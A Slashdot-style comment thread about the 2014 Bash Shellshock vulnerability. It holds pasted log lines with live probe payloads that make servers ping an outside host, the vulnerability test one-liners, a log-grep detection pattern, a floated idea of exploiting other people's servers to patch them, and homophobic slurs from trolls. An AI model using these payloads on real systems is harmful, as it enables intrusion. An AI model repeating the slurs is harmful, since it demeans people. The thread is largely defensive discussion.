Now you just have to find some server package which allows an unnprivileged remote client to trigger the execution of a Zimbra init script.

The funny thing is that, should you find it, such package would be vulnerable on FreeBSD in the exactly same way as it were on Linux, nullifying the argument that you are trying to make, about the Bash bug being a "Linux bug" that FreeBSD users shouldn't worry about.

Re:Only the beginning

[Anonymous Coward]

653 exploited servers , LMAO thats a joke, look up nimda, it ate tons of the net real fast.

Re:Only the beginning

[ralphius]

My company servers were scanned within seconds of each other by the same IP as you, log extract below:
/var/log/httpd/access_log:89.207.135.125 - - [25/Sep/2014:08:07:05 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "*/*" "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Re: Only the beginning

[philip.paradis]

The Zimbra example is only a single case intended to illustrate the mere existence of #!/bin/bash in scripts on commonly deployed systems; there are many, many others to be found, including wrappers for various commonly used utilities than may well wind up being called from a CGI script. As for your last sentence, you're conflating two concepts. I was specifically addressing the following response: "Certainly not in a distribution which does not have bash as the system shell. You can uninstall bash in such a distribution, and the system is expected to continue running." See the difference?

Re: Only the beginning

[donaldm]

Unless I'm badly mistaken, the default interactive shell isn't relevant in the "Shellshock" case. If an attacker has a login shell already, they need to find a setuid shell script explicitly using bash in order to gain more privileges.

Correct me if I am wrong, who in their right mind would write a suid script that would give a normal user "root" privileges? I can even go back to the early 1980's and writing a script and setting it suid for root was considered very poor system administration practice.

A quick check in Fedora 20 results in a few suid programs (24 to be precise) however they are not scripts.

Re:Only the beginning

[donaldm]

That is fine for Debian / Ubuntu distributions however for RHEL / Red Hat / CentOS / Fedora Linux the Apache error file location is /var/log/httpd/error_log.

For FreeBSD the Apache error log file location is /var/log/httpd-error.log.

It must be noted that the above are the defaults and can be changed.

Re: Only the beginning

[philip.paradis]

I put together a small example for you.

Re: Only the beginning

[RavenLrD20k]

Go through the scripts you need and delete the 'ba' if it shebangs #!/bin/bash. Delete the scripts you don't need. Your problem is solved providing that your shell isn't set to bash. With software freedom comes software responsibility. If you want to run an operating system where you don't have a support contract for someone else to fix things for you, you need to learn to fix things yourself. It's like with cars: Cars give you freedom, but you're responsible for their upkeep and responsible operation to ensure they keep giving you that freedom.

Re:Only the beginning

[AlterEager]

shellshock-scan started hitting me yesterday:

209.126.230.72 - - [25/Sep/2014:00:06:09 +0200] "GET / HTTP/1.0" 200 677 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

Then real bad guys

89.207.135.125 - - [25/Sep/2014:07:50:56 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 512 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Hello Rackspace!

Re: Only the beginning

[peppepz]

In terms of the ratio of Linux distributions which use Bash as the default shell versus those that do not, the vast majority still use Bash.

Even if this is true, and no I haven't checked it, it has no relevance over the reality of how many people are effectively using Bash together with the Linux kernel, which is a matter of which distributions people effectively use. I do aknowledge that RedHat-derived distributions are probably more common on servers, but I'm just guessing that out of prejudice.

Debian-based distributions use dash as the default system shell, but Bash remains the default interactive shell,

If you really had a server of any kind which spawned a *real user login shell* as a result of a remote client request of any kind, then you would already have a huge security problem. Moreover, I expect lots of people will use Bash as their persoanl shell even on BSDs as it's so much better than Tcsh.

and many scripts specify #!/bin/bash in their shebang line.

Then they are as broken on FreeBSD (or any other OS) as well as they are on Linux distributions that haven't Bash as the system shell.

That last bit is important, because we're living in times where an increasing number of developers are releasing code for network daemons which are designed to be easily run under unprivileged user accounts by those same users. Regardless of how secure the daemons themselves may be, the simple fact that they're executed with Bash as their parent process means they're vectors for system compromise from bugs like Shellshock.

How so? The bug is triggered when you start a buggy Bash shell having a malicious environment variable set up by the parent. Having Bash itself as a parent isn't a problem, because the bug is triggered when the environment is parsed at Bash's startup time (the shell might even crash afterwards).

The karma bonus posting option is enabled by default for a reason. When people who have an established track record of saying meaningful things (as determined by the up-modded metric) post comments, those comments are automatically ranked higher. Likewise, the moderation system provides for down-modding of any given comment, which has the side effect of karma reduction for the "offending" poster. The fact that you don't like what someone has to say is really of little consequence unless you have mod points; this is by design.

The karma bonus is there as a measure to let *you* moderate your own comments. If you consider 2,000 characters of condescendension as something that is worth promoting, good for you, but don't expect other readers to share your conviction.

Re: Only the beginning

[reikae]

I appreciate the effort and I don't mean to be argumentative, but it's /bin/bash in the CGI script that causes the issue, not that the naive programmer launches shellshock-victim-server.pl from bash, right? My point from the start was that the interactive shell used doesn't matter. This is starting to feel a bit silly, but I'm still not sure if you're misunderstanding me or if I'm just very thick today (it's not intentional).

Re: Only the beginning

[reikae]

You're right, and Linux actually ignores the setuid bit on shell scripts. I forgot about that earlier.

Re:Only the beginning

[John_Sauter]

...You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):

grep cgi /var/log/apache2/access*|egrep "};|}\s*;"

And you can check if your bash is vulnerable using:

env x='() { :;}; echo vulnerable' bash -c 'echo Testing...'

If 'vulnerable' appears, it is.

Thank you for the grep. When I ran it on my little web site I found I had been probed. The log line looked like this:

89.207.135.125 - - [25/Sep/2014:01:53:59 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

I wonder what would happen if we all starting pinging that last IP address.

Re: Only the beginning

[koinu]

Market share is difficult to describe and mostly is not interesting. How do you feel that there is a lot of BSD in Mac OS X (mostly in Darwin) and Android? Or about Playstation's OSes being a BSD-derivative? That's just to remind people that BSD is a part in many largely successful products. Especially people coming from Linux world are a bit arrogant by playing down BSDs. It is always a small reminder that they are wrong.

It must really hurt you that one of the small little peace that is known to Linux (GNU/GPL) world more than BSD (bash was imported to Mac OS X in 10.3 as standard shell) is vulnerable.

And btw... who the hell cares? It's getting fixed and everyone will forget it. All in all bash is a good peace of software, even it is quite complex. You don't see it have problems all the time. I am not making any bash scripts and I am a huge friend of tcsh as interactive shell, but when I did, I still would not panic. If you understand what a tool is and when a tool is working right for you, you will not throw it away just because it has temporarily a problem which is solved within a few days. Do you see a problem? I don't see any... it is gone, because it is supported well. What the hell do you want more from a piece of software?

Re:Only the beginning

[msc.buff]

Ditto: [10:58:53 root@www:/var/log/httpd] # grep cgi /var/log/httpd/access*|egrep "};|}\s*;" /var/log/httpd/access_log.2:89.207.135.125 - - [25/Sep/2014:04:01:19 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 315 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Re:Only the beginning

[WhiteDragon]

You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):

grep cgi /var/log/apache2/access*|egrep "};|}\s*;"

Thanks for the nice grep work - found one attempt to get my box to rat itself out via ping:

/var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:03:52:14 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1799 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Fortunately I was patched several hours prior to that.

Would there be any way for that probe to execute against a static 404 page - no cgi executing?

yep: /var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:09:26:29 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 491 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" That's pretty quick. Fortunately, I didn't have that cgi script, but still quite scary.

Re: Only the beginning

[jedidiah]

Fixating on the list of distributions that do or don't default to bash really is kind of pointless. The vast majority of impacted systems are going to be servers and especially corporate servers. The real question is what is the distro breakdown there.

So it's far more interesting that Redhat/CentOS/Fedora is on the "bad" list than any of the more obscure options.

SLES/Suse would also be a good one to include for relevant completeness.

Re: Only the beginning

[Culture20]

On a lot of systems, even OSX, /bin/sh is bash, just named differently. I don't know if running it with a different process name changes the "shellshock" behavior or not, but why take chances?

Re: Only the beginning

[philip.paradis]

I'm perfectly capable of fixing things myself. That's not the issue here. Try enforcing the policy you described across even a moderately sized multi-tenant SMB computing environment running a variety of applications that you're responsible for managing. You'll soon find that your policy results in negative revenue. The end result becomes a case study in "you broke it, they stopped buying it."

Re: Only the beginning

[philip.paradis]

I don't think you're being argumentative at all. Your points are fair and valid, and I'll note that the specific example provided (per the comments embedded in it) is a bit on the contrived side. That said, Perl actually used to just use whatever it found in $ENV{SHELL} for system() calls, which would have removed the necessity of including the explicit /bin/bash call to trigger the bad behavior, but that behavior was fixed some time ago. Other programming languages and environments may be quite a bit more lax, shifting more of the security burden onto the general operating system environment and further abstracting unsafe lower-level calls away from the programmer.

However, the earlier example is still quite useful for demonstrating another Perl best practice: taint mode. I have seen some truly dreadful things done via shell-outs in various languages, because programmers are of course capable of doing all sorts of very silly and dangerous things in their programs (such as including direct shell binary invocations in system calls), frequently without realizing those things are that dangerous in context. This may be due to the dangers being difficult to anticipate, and this could be said of our first example, as it doesn't contain any code that visibly uses external data. Here's what happens when we turn on taint mode in the initially exploitable script: Perl taint mode saves lives.

If I get the time, I'll be setting up various test environments with an assortment of examples written in different languages and frameworks to demonstrate the sorts of differences described herein, and I'll be glad to keep you posted if you like.

Re: Only the beginning

[philip.paradis]

I completely agree.

Re: Only the beginning

[philip.paradis]

As a side note, if our hypothetical programmer merely examines and untaints $ENV{PATH} in the last example, the exploit will succeed, since Perl doesn't do any taint inspection of a string passed to system() unless it interpolates potentially tainted input. Still, a reasonable programmer would hopefully have an "ah ha" moment after being reminded that $ENV{PATH} is tainted and consider the rest of the environment.

Re: Only the beginning

[Anonymous Coward]

We all know BSD is dying. Now we have proff.

Re:patched my servers last month

[tjb6]

Well...
As a software engineer they expect me to be a sysadmin.

Seriously!
Shell scripts have been known to be basically insecure for a long time. Why would you expose one to a web or network interface?

Of course, that just leaves ssh, but at least some authentication SHOULD be required there.

Re:Open Sores is Insecure

[LordThyGod]

I guess you cocksucking faggots should have used Microsoft Windows Server instead of something as insecure as Linux.

For best results use Microsoft Windows, faggots!

Well, ask Home Depot and Target their opinions. I am sure they are right there with you.

Re:And there's not many D0D IP addresses, either .

[CaptainDork]

To clarify:

Each /8 block contains 16,777,216 addresses.

Re: Another win for open source!

[Anonymous Coward]

"she'll commands"? A little submissive, are we?

Bash needs to remove env-based procedure passing

[m.dillon]

It's that simple. Even with the patches, bash is still running the contents of environment variables through its general command parser in order to parse the procedure. That's ridiculously dangerous... the command parser was never designed to be secure in that fashion. The parsing of env variables through the command parser to pass sh procedures OR FOR ANY OTHER REASON should be removed from bash outright. Period. End of story. Light a fire under the authors someone. It was stupid to use env variables for exec-crossing parameters in the first place. No other shell does it that I know of.

This is a major attack vector against linux. BSD systems tend to use bash only as an add-on, but even BSD systems could wind up being vulnerable due to third party internet-facing utilities / packages which hard-code the use of bash.

-Matt

Only the beginning

[Anonymous Coward]

You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):

grep cgi /var/log/apache2/access*|egrep "};|}\s*;"

Thanks for the nice grep work - found one attempt to get my box to rat itself out via ping:

/var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:03:52:14 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1799 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Fortunately I was patched several hours prior to that.

Would there be any way for that probe to execute against a static 404 page - no cgi executing?

Re:patched my servers last month

[Anonymous Coward]

*COUGH*bullshit*COUGH*

Re:patched my servers last month

[mhatle]

Fix for CVE-2014-7169 was posted only a small bit ago:

http://www.openwall.com/lists/oss-security/2014/09/26/1

Re:Bash needs to remove env-based procedure passin

[aNonnyMouseCowered]

You're a developer so you should know more ;) I mostly use zsh myself, but I'm curious as to what benefit or convenience feature this behavior gives to bash? Also are "normal" uses vulnerable or just web servers?

Amazing...

[Anonymous Coward]

... how the indignation at a major vulnerability like this (2nd in a few months) is so muted when the OS in question doesn't come from Microsoft.

Re:Amazing...

[Anonymous Coward]

It's muted because despite this being a major security flaw that's been around since almost the dawn of the internet, it was patched and fixed in less than 24 hours once found.

The indignation is deservedly loud and strong when the a major security flaw is found and it sits on the world's computers to be exploited until the patch Tuesday, several months from now, and only after shaming vendors to acknowledge it.

There's nothing amazing about it.

Re:Amazing...

[BronsCon]

2nd in a few months vs thousands in a single release. Yeah... I wonder why there's not so much indignation toward Linux right now. It's either got to do with volume, as I just implied, or, maybe, the fact that neither this, nor Heartbleed, were Linux bugs.

Re:Amazing...

[Spy Handler]

Windows users generally don't have a chip on their shoulder.

Linux users generally hate Windows a lot more than Windows users hate Linux.

Re:Amazing...

[Anonymous Coward]

Windows users know nothing about Linux. Its not users that are fanboy Microsoft.

Re:Amazing...

[sjames]

That's because Windows users don't tend to get Linux foisted upon them or have some device or another they want say "sorry, Linux only".

Windows users don't have problems with Linux systems refusing to interoperate.

Re:Amazing...

[DrugCheese]

Bash is an OS? You can uninstall bash and have everything run just as smooth with a replacement shell. Unlike a certain OS where you can't even remove a web browser and expect it to boot up ...

Re:Amazing...

[reikae]

I think it makes a big difference that Windows is made by a faceless corporation, while GNU, Linux etc. were and are developed largely by "hacker next door" types. It's understandable that Linux users who may have contributed themselves take criticism more personally and may act defensively. Also I feel there's the difference between criticizing a commercial enterprise and what's mostly a charity effort.

None of this excuses rude behavior, but generally understanding possible reasons behind rudeness helps me not take it personally.

Re:Amazing...

[ray-auch]

1. the first fixes, within 24 hours of announcement, didn't actually fix it fully - in fact I suspect it will still be exploitable in some way or other until the "feature" of treating environment variables as code is removed completely
2. providing an incomplete fix may be worse than taking a bit longer to properly QA the fix - a lot of admins may believe they have patched this based on the first announced vulnerability tests and the first set of patches, but in fact they are still vulnerable with a trivial change in the malicious bash code
3. it was less than 24 hours after first being made public - this may be entirely unrelated to when it was first found

We have no idea who found it first or for how long it may have been used covertly (did NSA etc. know of heartbleed before public knowledge ?)
We don't know what prompted someone to be looking for problems in code that hasn't changed for 20+ yrs.
It is so trivial to get remote code run with this bug (no unexpected new process or login or errors) that I doubt it will trip any intrusion detection systems.
If you can use an http header that isn't logged, then you could run code on the server and extract information and it may be completely undetectable.

Something else we don't know is how the FBI really got the Silk Road server to cough its real IP address. The FBI claim they put "miscellaneous characters" into the login form and it just happened to send the address back. You can believe that if you want. It may or may not be related (I have no idea about the silk road server setup), but a handful of days after the FBI put their story out someone is looking for security holes / bugs in very old bash code. Maybe there was no trigger and they just happened to get bored one day and decide that looking for bugs in bash would be fun. Or maybe there is more behind this than we know.

Re:Amazing...

[AlterEager]

That's because Windows users don't tend to get Linux foisted upon them or have some device or another they want say "sorry, Linux only".

Mine do.

Bwahahaha!

Re:Amazing...

[laughingskeptic]

Our University CS departments teach the hatred of Microsoft while the MIS departments teach the love of Microsoft. They are both wrong.

Re:Amazing...

[Anonymous Coward]

The FBI said the CAPTCHA on the login form was sent in the clear rather than over Tor, and the CAPTCHA was sent from the same IP as the real Silk Road IP. That's a bit different than "we put in miscellaneous characters." It's the FBI so anything they claim can't be trusted.

Re:Amazing...

[Anonymous Coward]

According to the Red Hat Bugzilla thread, they were discussing this "feature" in mid Sept 2014. https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-6271

Re:Amazing...

[BronsCon]

I post factual information and get modded flamebait? Really? Bash is a shell and openSSL is a library, Linux uses both, but neither are a part of Linux; in fact, both are used in a *lot* of other products. That makes Heartbleed and ShellShock both not linux bugs.

Re:patched my servers last month

[dbIII]

Of course, as a sysadmin I should also be a software engineer.

At least one of them in charge of each group of systems should be that or an equivalent. Being good at Skyrim is not enough to effectively run systems over time.

Scanned Twice...

[Etherwalk]

I saw scans today starting just after noon Pacific Time.

ALERT!!! Re:Only the beginning

[Anonymous Coward]

The web server I checked had the same attack done on it...with the same source IP...and even the same ping address!

Re:Open Sores is Insecure

[codepigeon]

I guess you cocksucking faggots should have used Microsoft Windows Server instead of something as insecure as Linux. For best results use Microsoft Windows, faggots!

Oh man, this comment has me pissing my pants laughing. Its so over the top. it should be in a Will Ferrel movie. If you are not trying to be funny, that would make it even more hilarious. Hehe.

Re:The silence is deafening

[Anonymous Coward]

I would imagine slashdotters are currently preoccupied with the topic of the OP.

Given there's a 20% chance the internet will go dark in the next 72 hours... (My numbers.)

Re:The silence is deafening

[Anonymous Coward]

Tell ya what Erno, I'll take my chances with Linux... YMMV.

Re:Slammer for Linux!

[Anonymous Coward]

You know, you should just get an account. Posting nearly a half-dozen trolls within a short time with the same basic mistakes and format is apparent to even a casual observer.

tl;dr: lame troll is mildly amusing but mostly pathetic.

why all the panic?

[Anonymous Coward]

Just update Bash, jeeez

Re:Bash needs to remove env-based procedure passin

[Anonymous Coward]

It was just lazy programming. it's not an intentional feature. I doubt it's a useful feature either.

Re:The silence is deafening

[grcumb]

Time to put on some pants, UNIX/Linux geeks: ain't no operating system out there immune to error.

No fucking kidding, software has bugs. And this is a doozy. It's not the first WTF moment we've seen, and it probably won't be the last.

As with the Y2K problem, though, the proof of the pudding is in the tasting. The real test will come when we look back and measure the impact. Will we see a digital wasteland, a web devastated by shellshock-ing predators? Will we find ourselves living in an online New Jersey of the soul, wretched, empty bit-badlands stretching out to the horizon in every direction? Will the Evil Bit finally be flipped? Or will this be like the day when the public library almost burnt down, but we saved all the books by forming a bucket brigade? It's too early to say, right now. But my guess is that, unlike Microsoft's legacy, the fall-out from this event will be the stuff of a cautionary tale for young systems developers, explaining how all the cleverness in the world won't save you from stupidity, so the only really good system is one that can be patched quickly, effectively and simply.

Kant might also have admitted that, while no straight thing was ever made, quite a few bent things were subsequently straightened.

Re:The silence is deafening

[sjames]

MS bugs don't even make the headlines anymore.

Just updated Ubuntu 14.04

[Anonymous Coward]

I just updated Ubuntu 14.04. The first vulnerability which was CVE-2014-6271 would show up with the following line in bash:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" ... if it says 'vulnerable', then you are, and if it says 'this is a test' you are safe (from CVE-2014-6271). ...but there was a second attack vector, and US Cert gave it a second number CVE-2014-7169.
the second attack vector can be shown in a compromised version of bash with the following line:
env -i x='() { (a)=>\' bash -c 'echo date'; cat echo ... and if it gives the date, you are still vulnerable. And I was until I got a second update from Ubuntu just a few minutes ago (although it could be older than that). And when you are safe from CVE-2014-7169 the second script returns:
bash: x: line 1: syntax error near unexpected token `='
bash: x: line 1: `'
bash: error importing function definition for `x'
date
cat: echo: No such file or directory .... and that seems to be it. I haven't tried to run my massive software build (about 15 interconnected bash scripts that compiles a software stack consisting of about 30 pieces of software), but I will likely do it tomorrow. In on instance did I ever try to put executable code into environment variables (I didn't know you could), so I don't think I will be affected.

Re:The silence is deafening

[Anonymous Coward]

You can get pretty close, as the front page of openbsd.org says:

"Only two remote holes in the default install, in a heck of a long time!"

(and the capcha is "reactive," which is exceedingly appropriate: OpenBSD's security philosophy is proactive, trying to correct potential vulnerabilities before they are exploited.)

Re:Slammer for Linux!

[Anonymous Coward]

Obvious posting from a (possibly payrolled) Windoze Zealot.

I agree the Linux world have been far far too smug for far far too long - this was coming. But we got 3 updates in 28 hours. If this was a MicroDoze bug we'd still be waiting for a first (botched) attempt at a patch in what ... 2027?

Re:Another win for open source!

[Anonymous Coward]

You get what you pay for, I guess. Thanks again for making the internet less secure, freetards!

Let me guess that Nutella pays your monthly bills...

Linux is still and will remain 1000x more secure than any Windows version ever.
The only exception would be if Microschofft stopped making their pathetic OS and based their new one on Unix / Linux. Though they would bollocks it up like Google crippled Linux into the Android virus platform. Apple moved to *nix land, throwing in the towel on MacOS and basing it all on BSD Unix plus the Nexxt GUI layer - big success.

Use the bug to patch the bug

[itamblyn]

If shellshock lets remote users execute arbitrary shell commands, should we just run a scan of the whole internet (https://github.com/robertdavidgraham/masscan), and issue apt-get update & apt-get upgrade? Use the bug to patch the bug?

Re:Use the bug to patch the bug

[Anonymous Coward]

As I understand it, you won't get root privileges (unless the server somehow runs as root, which it shouldn't). Cute idea, though.

Re:Use the bug to patch the bug

[Anonymous Coward]

If shellshock lets remote users execute arbitrary shell commands, should we just run a scan of the whole internet (https://github.com/robertdavidgraham/masscan), and issue apt-get update & apt-get upgrade?

Use the bug to patch the bug?

That would only work on systems that use apt. You know that there are Linux distros other than Debian and Ubuntu, right?

Re:Use the bug to patch the bug

[Anonymous Coward]

Won't work, you need root to do that. The bug doesn't necessarily allow elevated access. It only allows arbitrary commands as the user the process that runs bash as. If httpd runs as nobody or apache, it doesn't have root access. It can still be very useful for things like DDoS in a botnet though.

Re:Use the bug to patch the bug

[Anonymous Coward]

And that kills the custom daemon running the life support system, disables the plane collision detector and stops me playing quake 3A.

Not to mention the YUM and emerge update based system and the many others.

Re:Use the bug to patch the bug

[Anonymous Coward]

And if the distribution in question is a outdated one that doesn't receive security updates anymore? Do you want to be responsible in case a update causing incompatibility takes down a service running on that system?

Do this on your own machines, let the others work it out themselves unless you don't care about any blowback.

Re:Use the bug to patch the bug

[martin-boundary]

Yeah, but if Debian gets updated and the other distros don't, then pretty soon everyone will switch to Debian's more secure system. World Linux Domination!

Ah, who am I kidding? Debian's bash version is so ancient it probably doesn't even support environment variables yet....

Re:Use the bug to patch the bug

[AlterEager]

Debian's bash version is so ancient it probably doesn't even support environment variables yet....

There's something after 4.3?

Re:Use the bug to patch the bug

[CSG_SurferDude]

A) It should only update bash

B) Also run yum -y update bash

C) This has been discussed for years, and the general consensous has always been it's better to not patch their systems (allthough I disagree with that. If you left your system open, you're just asking for somebody else to patch it for you, IMHO)

Re:Use the bug to patch the bug

[Anonymous Coward]

Clearly, there are a lot of people around here who can't think at all, if you get modded +5 insightful.

Oh, I appreciate the thought - but a) it's obvious, and b), well, of course we can just stage our own attack on the whole internet, you know, because nothing important could be happening on any of those millions of machines. You know, things that running an update might interfere with. No healthcare related systems, no real-time systems, and nobody running their available bandwidth on the ragged edge.

Oh! I totally forgot! You didn't want to ask permission either. Yep, lotsa brains on display here.

Here's what I'm noticing on a web server

[Anonymous Coward]

The prober is sending this string in an HTTP header field (I've received these from 3 different IPs over the past couple of days - I've seen these in the web server logs):

"() { :; }; /usr/ping -c 3 [some ipv4 address to ping]"
"() { :; }; ping -c 11 [some ipv4 address to ping]"
"() { :; }; /bin/ping -c 1 [some ipv4 address to ping]"

I'm seeing these in the "Referer" header and "User Agent" header. There are other http header fields: http://en.wikipedia.org/wiki/List_of_HTTP_header_fields. I'm not logging those headers, only the defaults I mentioned just now.

So... unless your CGI script is extracting a header field and feeding it to a bash script... you should be okay in terms of HTTP requests with this in their header?

Your web server might be responding with a 200 response code, but that's just because whatever the URL requested is, is being successfully sent.

Thoughts?

However, this has nothing to do with users on your box maybe trying to do privilege escalation with this bash trick. But... this isn't a privilege escalation trick - the user shouldn't have any more access to the system than he would have with running the commands directly, right?

Re:Here's what I'm noticing on a web server

[ray-auch]

So... unless your CGI script is extracting a header field and feeding it to a bash script... you should be okay in terms of HTTP requests with this in their header?

Keep your head in the sand, it's less scary that way.

Or realise that your CGI server feeds headers to your CGI processes in environment variables, because that is how CGI is supposed to work, and that it isn't just your CGI script it is every single process it starts (all children and descendants) that must not be a shell script and must not use system() etc. Perhaps then also note that CGI is just one vector that happens to be being attacked right now and there will be others, some we probably don't know about yet.

Or you could assume you are vulnerable and patch bash, or remove it.

Your web server might be responding with a 200 response code, but that's just because whatever the URL requested is, is being successfully sent.

Thoughts?

Correct - no need for attacks to cause any error at all. May be possible using an http header you aren't logging at all, giving you no way to detect it.

However, this has nothing to do with users on your box maybe trying to do privilege escalation with this bash trick. But... this isn't a privilege escalation trick - the user shouldn't have any more access to the system than he would have with running the commands directly, right?

Find a setuid script or setuid program that somewhere uses the shell and it's a privilege escalation too. Such things _should_ be very rare by now, but not impossible that some still exist.

Re:Here's what I'm noticing on a web server

[nblender]

Or you could assume you are vulnerable and patch bash, or remove it.

Patch bash with what, exactly? Patch #25 didn't fix the problem completely and there's nothing newer than Patch #25 at gnu.org:

ftp://ftp.gnu.org/gnu/bash/bas...

Re:Here's what I'm noticing on a web server

[ray-auch]

Check your distro. Believe RedHat at least have newer allegedly more complete patches - although there are also posts saying you'll need a support contract for some older versions of RedHat.

My guess is that initially this was embargoed while GNU/FSF guys "fixed" it, but when we find out fact that the fix was no good everything is already public so now everyone downstream is trying to fix it themselves as fast as possible - RedHat etc. may do their own without waiting for upstream. It's now that you find out how good your support is, from whoever you paid for it or from the guys who work for free if you paid no one.

If you want the diy approach, personally I would look at the initial patch for where the offending code is and rip out the entire "feature", I suspect very few scripts will break.

Alternatively, patch bash using rm.

CVE-2014-7169 has been fixed

[InvisibleSoul]

At least for RedHat/CentOS, CVE-2014-7169 has been patched now as well. https://rhn.redhat.com/errata/...

Re:What a goddamn disaster.

[Anonymous Coward]

It does not automatically mean that, but money can buy you some nice quality assurance and code auditing.

Re:patched my servers last month

[GigaplexNZ]

Well...
As a software engineer they expect me to be a sysadmin.

I know that feeling all too well...

Hackers took over my Gentoo box!

[Anonymous Coward]

Hackers took over my Gentoo box you insensitive clod!

Too much scripting in Linux

[jones_supa]

Just the other day I commented in a SystemD discussion how scripts break easily and are slow to execute. One of the replies I got was "Scripts don't break themselves. They do exactly what you tell them to do." Heh, indeed they do. Didn't we just hear about one Shellshock-related attack where a malicious DHCP server can command a dhclient script do nasty things. Scripting is a problem and binary modules would provide more robust interfaces. It is a thing worth giving a thought.

Re:Too much scripting in Linux

[Anonymous Coward]

To be fair, it's not the scripts that are broken here. It's an input sanitization issue (which any binary can fuck up, which leads to ... problems).

It is an issue when people misuse shells to do string unescaping or interpolation with untrusted input (as we see in dhclient). It is an issue when shells are not more rigourous in their behavior when used non-interactively.

Binary modules, if have they have robust, extensible interfaces, are just as likely to have errors in their interface specifications that can lead to abuse, and likely be harder to detect.

Re:Too much scripting in Linux

[Anonymous Coward]

I just knew this bug was related to a plot to discredit the old sysvinit system by Red Hat. Pretty diabolical planting the bug 25 years ago in bash and then springing it as a finishing blow.

POOOOEEEETTTTTTEEEERRRRIIIINNGGGG!!!!! (shakes fist)

Re:Too much scripting in Linux

[Anonymous Coward]

why stop there? if we write all the simple wrapper code in bug-free assembler the attackers will have a really rough time! win-win

Re:Too much scripting in Linux

[MikeBabcock]

This has NOTHING to do with binary vs shell scripting and you're a completely uneducated newb to coding if you think it is.

BASH itself is a binary and it is the problem -- your argument is ridiculous.

Re:patched my servers last month

[Anonymous Coward]

Well...
As a software engineer they expect me to be a sysadmin.

Seriously!
Shell scripts have been known to be basically insecure for a long time. Why would you expose one to a web or network interface?

Of course, that just leaves ssh, but at least some authentication SHOULD be required there.

Software Engineer, Sysadmin, Web Master... what's the difference? It's all "computer guy" to management.

Shell scripts are there because someone sacrificed a little security for temporary liberty (like getting home earlier, or getting to keep his job).

Buck feta.

[buckfeta2014]

Here is your daily buck feta broadcast. So, buck feta.

Re:Buck feta.

[ThePhilips]

At the bottom of the page, click on the "Classic" link.

New instance, new OS, new browser - but it really took 2 minutes to find how to deactivate the bucking feta.

Re:Buck feta.

[Anonymous Coward]

http://slashdot.org/?nobeta=1 works a lot better.

Re:What a goddamn disaster.

[Anonymous Coward]

This vulnerability also exists in non F/OSS OSes, such as OS X.

OS X uses the same open source Bash that Linux systems do.

I'm sorry

[fustakrakich]

I do not understand the problem

Heartbleed comparison might be a bit overblown

[Anonymous Coward]

I think the bigger than heartbleed comments might be a bit overblown. If you're running CGI and your web server is running as root, you probably have a serious problem. Otherwise, it's just a PITA when you have other things to work on. Can anyone tell me why the script kiddies are scanning 23? I haven't seen an open telnet port in years. From all the reports I've read, about the only things vulnerable are web servers running CGI which was pretty vulnerable before.

Re:Heartbleed comparison might be a bit overblown

[ray-auch]

I think the bigger than heartbleed comments might be a bit overblown. If you're running CGI and your web server is running as root, you probably have a serious problem. Otherwise, it's just a PITA when you have other things to work on. Can anyone tell me why the script kiddies are scanning 23? I haven't seen an open telnet port in years. From all the reports I've read, about the only things vulnerable are web servers running CGI which was pretty vulnerable before.

ssh is also vulnerable (often configured to pass TERM and maybe LC_*)
Git repos using locked-down ssh - vulnerable
dhclient - vulnerable
CUPS - vulnerable

Those are just the ones we know so far.

It is different to heartbleed, and it could indeed get bigger. Heartbleed required zero effort to get the data but then needed some luck and some work to find keys or login info within it. Manual work required before you could break into a system.

ShellShocked on the other hand is direct, trivial, remote code execution. Attacks can easily be fully automated - it is wormable, trivially. The question now is not whether or not fully automated worm attacks will happen or when - they already are - it is how many servers they will get.

And that is all before we start looking at all the embedded Linux out there that may have bash, and often have cgi. It may take longer to find exploit vectors for those, but it will also take longer to patch, and some may not be patchable. Add in to the mix that small business / home routers often also run dhcp servers, and that dhclient is vulnerable, and a router compromise can open up any unpatched client machines inside the firewall.

No one knows how big this _will_ get, but it _could_ be bigger then HeartBleed, easily.

So patch it.

[Thong]

I'm not sure this is too big a deal. You hear about the problem and you patch it. Both the systems I have that are Internet facing use distros that had new bashes available very quickly. Yesterday morning I wasted 15 minutes on this. We'll now be reading about it for the next month.

I guess the problem will remain for those that don't patch.

Re:So patch it.

[Anonymous Coward]

You'll have to patch them again tomorrow, the patches released today didn't fix everything :)

Re:So patch it.

[Anonymous Coward]

Problem is, not all vendors have a patch. Both Oracle and Apple have yet to even acknowledge this bug exists.

Slammer for Linux!

[Anonymous Coward]

A self-propagating infection like the SQL Slammer.

It's funny how (a) you don't have a fucking idea what you are talking about and (b) you get your paradigm for exploits from your own system ignoring completely how other systems work. That's fucking hilarious! HAHAHAHAHHAHAHAH

Re:patched my servers last month

[Chryana]

Ignoring the pointlessly offensive comment about Skyrim, I think requiring a software engineer as part of every IT infrastructure team maintaining Linux servers seems difficult to achieve. I'm not saying it's extremely rare, but I don't think it's all that frequent right now, at least not outside of Fortune 500 companies or so. Furthermore, even if you had one in your team, what makes you think he will be able make a patch for bash faster than to wait for one to be released?

Consider what a "software engineer" is now

[dbIII]

